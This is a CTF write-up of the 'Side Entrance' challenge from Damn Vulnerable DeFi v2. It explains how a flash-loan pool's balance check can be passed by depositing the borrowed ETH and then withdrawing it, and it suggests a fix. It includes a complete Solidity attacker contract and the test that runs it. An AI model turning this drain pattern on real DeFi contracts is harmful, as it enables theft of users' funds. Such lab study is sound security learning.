04.Side Entrance
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

Side Entrance

analyse

Our goal is to decrease SideEntranceLenderPool’s balance to zero ETH and attacker gets ‘attackerInitialEthBalance’ ETH. So it is transfer the pool’s balance to attacker’s account.

1
2
3
4
5
6
7
8
9
10
11
12
13
after(async function () {
/** SUCCESS CONDITIONS */
expect(
await ethers.provider.getBalance(this.pool.address)
).to.be.equal('0');

// Not checking exactly how much is the final balance of the attacker,
// because it'll depend on how much gas the attacker spends in the attack
// If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
expect(
await ethers.provider.getBalance(attacker.address)
).to.be.gt(this.attackerInitialEthBalance);
});

SideEntranceLenderPool has a mapping balances, it allows anyone to deposit and withdraw their liquidity.

There is a logical error in the following code: When calling flashloan(), SideEntranceLenderPool will only check whether its balance decrease or not. But if we flashLoan a lot of money, and then use it to deposit, the address(this).balances will not change! We can pass it. And because we have recorded mapping balances(by deposit()), we can withdraw it!

1
2
3
balances[msg.sender] += msg.value;

require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");

I think it is a logical error. Balance check should not be the contract’s balance while deposit() will change it. In order to correct it, maybe it could change contract balance check to the mapping balances check.

solution

  • SideEntranceAttacker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttacker {

SideEntranceLenderPool private immutable pool;
address payable attacker;

constructor (address poolAddress, address attackerAddress) {
pool = SideEntranceLenderPool(poolAddress);
attacker = payable(attackerAddress);
}

function attack(uint256 amount) external {
pool.flashLoan(amount);
pool.withdraw();
}

function execute() external payable{
pool.deposit{value: msg.value}();
}

receive () external payable {
attacker.transfer(msg.value);
}
}
  • test
1
2
3
4
5
6
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const SideEntranceAttackerFactory = await ethers.getContractFactory('SideEntranceAttacker', deployer);
const attackerContract = await SideEntranceAttackerFactory.deploy(this.pool.address, attacker.address);
await attackerContract.connect(attacker).attack(ETHER_IN_POOL);
});